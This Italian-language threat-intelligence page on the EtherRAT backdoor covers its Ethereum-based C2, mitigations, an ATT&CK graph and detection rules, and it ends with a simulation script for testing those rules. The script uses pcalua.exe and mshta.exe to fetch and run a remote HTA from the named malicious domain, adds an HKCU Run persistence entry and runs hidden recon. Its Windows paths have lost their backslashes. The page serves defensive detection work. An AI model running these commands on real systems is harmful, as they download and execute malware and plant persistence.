SOC Prime Bias: Critico

06 Apr 2026 17:47

EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simile a CDN

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simile a CDN
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

EtherRAT è una backdoor Node.js che risolve i suoi endpoint di comando e controllo dai smart contract Ethereum utilizzando un approccio “EtherHiding”. Si integra nel normale traffico web modellando i beacon per assomigliare a richieste CDN benigne, concentrandosi su dati di alto valore come portafogli di criptovalute e credenziali cloud. L’accesso iniziale è comunemente guidato da ingegneria sociale in stile ClickFix o esche falso supporto IT che attivano l’esecuzione di HTA malevoli tramite pcalua.exe e mshta.exe.

Indagine

Il Threat Response Unit di eSentire ha osservato una catena di caricamento a più stadi che include un flusso di lavoro di decrittazione AES-256-CBC, persistenza tramite un valore di registro HKCU Run e un modulo SYS_INFO responsabile di un ampio profiling dell’host. EtherRAT si collega a diversi fornitori pubblici di RPC Ethereum per individuare il relativo smart contract, poi deriva URL simili a CDN e li interroga per incarichi e comandi successivi, rafforzando il suo travestimento di “traffico legittimo”.

Mitigazione

Utilizza AppLocker o WDAC per bloccare o controllare rigorosamente pcalua.exe e mshta.exe, e limita la finestra di dialogo Esegui di Windows tramite Group Policy. Laddove possibile, limita o blocca l’accesso all’infrastruttura RPC crypto pubblica nota e attiva un avviso su utilizzi inaspettati di RPC Ethereum da endpoint che non ne hanno bisogno. Implementa controlli degli endpoint che possono rilevare backdoor basate su Node.js e monitorare modelli anomali di beaconing che imitano il comportamento di fetch dei CDN verso domini identificati.

Risposta

Se viene rilevata attività di EtherRAT, isola l’endpoint, termina il processo in esecuzione e rimuove la voce di persistenza HKCU Run insieme a eventuali artefatti scaricati. Effettua una sweep forense completa per confermare che non siano stati messi in scena payload aggiuntivi e ruota le credenziali esposte—dando priorità ai segreti dei portafogli di criptovalute e alle chiavi di servizio cloud. Amplia la ricerca su tutto l’ambiente per consultazioni simili di RPC Ethereum e comportamenti di polling simili a CDN per determinare la potenziale diffusione.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Tecnica</b> – <b>T1218.005 Esecuzione del Proxy Binario di Sistema</b><br/>pcalua.exe avvia mshta.exe per scaricare ed eseguire HTA malevoli"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Tecnica</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/>Offusca la linea di comando per invocare altri binari"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Tecnica</b> – <b>T1059.003 Interprete di Comando e Script: Windows Command Shell</b><br/>Esegue comandi PowerShell e reg per il fingerprinting"] class tech_cmd_shell technique tech_persistence["<b>Tecnica</b> – <b>T1546.007 Netsh Helper DLL</b> e <b>T1037.004 Script RC</b><br/>Crea una chiave di esecuzione HKCU Run avviando conhost.exe node.exe senza testa"] class tech_persistence technique tech_defense_evasion["<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscati</b> con sottou2011tecniche Codice Polimorfico, Risoluzione Dinamica delle API, Payload Incorporati, Deoffuscare/Decodifica"] class tech_defense_evasion technique tech_c2_resolver["<b>Tecnica</b> – <b>T1102.001 Risolutore di Dead Drop</b><br/>Recupera l’indirizzo C2 da un smart contract Ethereum"] class tech_c2_resolver technique tech_c2_comm["<b>Tecnica</b> – <b>T1102 Servizio Web</b> con comunicazione bidirezionale (T1102.002) e unau2011via (T1102.003)<br/>Le richieste HTTPS imitano il traffico CDN"] class tech_c2_comm technique tech_collection["<b>Tecnica</b> – <b>T1602.002 Dump delle Configurazioni dei Dispositivi di Rete</b><br/>Raccoglie file di sistema operativo, hardware, rete, AV, portafogli di criptovalute e credenziali cloud"] class tech_collection technique tech_exfiltration["<b>Tecnica</b> – <b>T1041 Esfiltrazione Attraverso Canale C2</b><br/>Invia i dati raccolti indietro attraverso lo stesso canale HTTPS"] class tech_exfiltration technique tech_impact_hijack["<b>Tecnica</b> – <b>T1496.001 Furto Calcolatore</b><br/>Ruba file dei portafogli di criptovalute"] class tech_impact_hijack technique tech_impact_cloud["<b>Tecnica</b> – <b>T1537 Trasferimento dei Dati su Account Cloud</b><br/>Carica credenziali su uno storage cloud"] class tech_impact_cloud technique tech_software_ext["<b>Tecnica</b> – <b>T1176 Estensioni Software</b> e <b>T1505.004 Componenti IIS</b><br/>Scarica il runtime Node.js e moduli aggiuntivi"] class tech_software_ext technique tech_lateral["<b>Tecnica</b> – <b>T1080 Contenuti Condivisi Contaminati</b><br/>Scarica payload/moduli ulteriori da server remoti"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Strumento</b> – <b>Nome</b>: pcalua.exe<br/><b>Descrizione</b>: Installatore Autonomo di Windows Update utilizzato come proxy"] class tool_pcalua tool tool_cmd["<b>Strumento</b> – <b>Nome</b>: cmd.exe<br/><b>Descrizione</b>: Shell di comando Windows con offuscamento dei trattini"] class tool_cmd tool tool_ethereum["<b>Strumento</b> – <b>Nome</b>: Fornitore di RPC Ethereum<br/><b>Descrizione</b>: Endpoint pubblici RPC utilizzati per eseguire query sul smart contract"] class tool_ethereum tool tool_nodejs["<b>Strumento</b> – <b>Nome</b>: Runtime Node.js<br/><b>Descrizione</b>: Esegue moduli aggiuntivi scaricati da C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Processo</b> – <b>Nome</b>: mshta.exe<br/><b>Descrizione</b>: Esegue file HTA"] class process_mshta process process_powershell["<b>Processo</b> – <b>Nome</b>: powershell.exe<br/><b>Descrizione</b>: Esegue script PowerShell per il fingerprinting del sistema"] class process_powershell process process_conhost["<b>Processo</b> – <b>Nome</b>: conhost.exe<br/><b>Descrizione</b>: Processo Host utilizzato per avviare node.exe senza testa"] class process_conhost process process_https["<b>Processo</b> – <b>Nome</b>: Client HTTPS<br/><b>Descrizione</b>: Invia richieste come /api/<hex>/<UUID>.ico imitando il traffico CDN"] class process_https process process_remote_download["<b>Processo</b> – <b>Nome</b>: downloader<br/><b>Descrizione</b>: Recupera payload aggiuntivi da server remoti"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Nome</b>: Payload generato da Obfuscator.io<br/><b>Descrizione</b>: Fasi crittografate AESu2011256u2011CBC con codice polimorfico"] class malware_obfuscator malware %% Connections tech_initial_access –>|utilizza| tool_pcalua tool_pcalua –>|avvia| process_mshta process_mshta –>|scarica| "shep.hta" tech_initial_access –>|porta a| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|utilizza| tool_cmd tool_cmd –>|invoca| process_powershell process_powershell –>|esegue| tech_cmd_shell tech_cmd_shell –>|abilita| tech_persistence tech_persistence –>|crea| process_conhost process_conhost –>|avvia| tool_nodejs tech_defense_evasion –>|si applica a| malware_obfuscator malware_obfuscator –>|fornisce payload per| tool_nodejs tech_c2_resolver –>|recupera l’indirizzo tramite| tool_ethereum tool_ethereum –>|esegue query su| "smart contract Ethereum" tech_c2_comm –>|comunica su| process_https process_https –>|trasferisce dati a| tech_collection tech_collection –>|dati esfiltrati tramite| tech_exfiltration tech_exfiltration –>|consegna a| tech_impact_hijack tech_exfiltration –>|consegna a| tech_impact_cloud tech_software_ext –>|scarica| tool_nodejs tool_nodejs –>|abilita| tech_lateral tech_lateral –>|scarica| process_remote_download "

Attacco Flusso

Rilevamenti

LOLBAS Pcalua (via cmdline)

Team SOC Prime
01 Apr 2026

Processi Lolbin che Creano File (via file_event)

Team SOC Prime
01 Apr 2026

MsiExec Generato da Processo Shell (via cmdline)

Team SOC Prime
01 Apr 2026

LOLBAS Conhost (via cmdline)

Team SOC Prime
01 Apr 2026

Comportamento di Evasione della Difesa MSHTA LOLBAS Sospetto tramite Rilevamento di Comandi Associati (via process_creation)

Team SOC Prime
01 Apr 2026

Tentativi di Comunicazioni di Lookup di Dominio IP Possibili (via dns)

Team SOC Prime
01 Apr 2026

Enumeration / Manipolazione di Account o Gruppi Possibili (via cmdline)

Team SOC Prime
01 Apr 2026

Uso di CURL Sospetto (via cmdline)

Team SOC Prime
01 Apr 2026

Rilevamento Probabile dell’Ambiente di Virtualizzazione di Windows usato WMI (via cmdline)

Team SOC Prime
01 Apr 2026

Punti di Persistenza Possibili [ASEPs – Hive Software/NTUSER] (via cmdline)

Team SOC Prime
01 Apr 2026

Controlli di Evasione Possibili (via powershell)

Team SOC Prime
01 Apr 2026

Obfuscazione della Linea di Comando Possibile usando Carets (via cmdline)

Team SOC Prime
01 Apr 2026

Enumerazione di Software Antivirus o Firewall Possibili (via process_creation)

Team SOC Prime
01 Apr 2026

Scoperta Informazioni di Sistema Linux (via cmdline)

Team SOC Prime
01 Apr 2026

IOC (IP di Origine) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND

Regole AI di SOC Prime
01 Apr 2026

IOC (IP di Destinazione) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND

Regole AI di SOC Prime
01 Apr 2026

IOC (HashSha256) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND

Regole AI di SOC Prime
01 Apr 2026

Rileva Accesso Iniziale EtherRAT tramite ClickFix ed Esecuzione Indiretta di Comandi [Creazione di Processi Windows]

Regole AI di SOC Prime
01 Apr 2026

Esecuzione Simulazione

Prerequisito: La Verifica Pre‑volo di Telemetria & Baseline deve essere superata.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente I TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione dell’Attacco & Comandi:

    1. Accesso Iniziale – ClickFix Dropper: L’attaccante sfrutta un ClickFix installer malevolo che esegue nascosto cmd.exe che chiama pcalua.exe.
    2. Esecuzione Indiretta: pcalua.exe è istruito ad avviare mshta.exe contro un file HTA remoto ospitato su https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Questo script HTA carica il payload EtherRAT.
    3. Setup della Persistenza: Il dropper aggiunge un Run valore di registro sotto HKCUSoftwareMicrosoftWindowsCurrentVersionRun puntando a una catena di conhost.exenode.exe esecuzione, assicurando che il malware si avvii al login dell’utente.
    4. Ricognizione di Dominio: In parallelo, un comando PowerShell one‑liner è eseguito per leggere il nome del dominio della macchina, segnalando all’attaccante che l’host è collegato al dominio.

    Tutti e tre i comandi della linea di comando sono eseguiti da un’unica istanza nascosta cmd.exe , corrispondente alla regola Sigma indicatore1/indicatore2 or indicatore3 combinazione.

  • Script di Test Regression: Lo script sottostante riproduce esattamente le linee di comando (i percorsi specifici dell’utente sono risolti tramite variabili ambientali).

    # -------------------------------------------------------------
    # Simulazione Accesso Iniziale EtherRAT – wrapper PowerShell
    # -------------------------------------------------------------
    $username = $env:USERNAME
    $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    $conhostPath = "$env:WINDIRSystem32conhost.exe"
    $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
    $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
    
    # 1. Indicatore 1 – pcalua -> mshta
    $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
    
    # 2. Indicatore 2 – Chiave di registrazione Run con catena conhost
    $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
    $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
    
    # 3. Indicatore 3 – Query dominio PowerShell
    $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
    $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
    
    Write-Host "`n[+] Comandi di simulazione emessi. Verifica SIEM per avvisi corrispondenti."
  • Comandi di Cleanup: Rimuovi la voce di registro ed elimina eventuali file creati dalla simulazione.

    # -------------------------------------------------------------
    # Cleanup – rimuovi chiavi Run e file temporanei
    # -------------------------------------------------------------
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    
    # Elimina il valore della chiave Run
    if (Test-Path $runKeyPath) {
        Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
        Write-Host "[+] Chiave Run di registro $runValueName rimossa"
    }
    
    # Rimuovi eventuali file residui (se creati)
    $paths = @(
        "$env:TEMPbenign.txt"               # dal baseline (opzionale)
    )
    foreach ($p in $paths) {
        if (Test-Path $p) { Remove-Item $p -Force }
    }
    
    Write-Host "[+] Pulizia completata."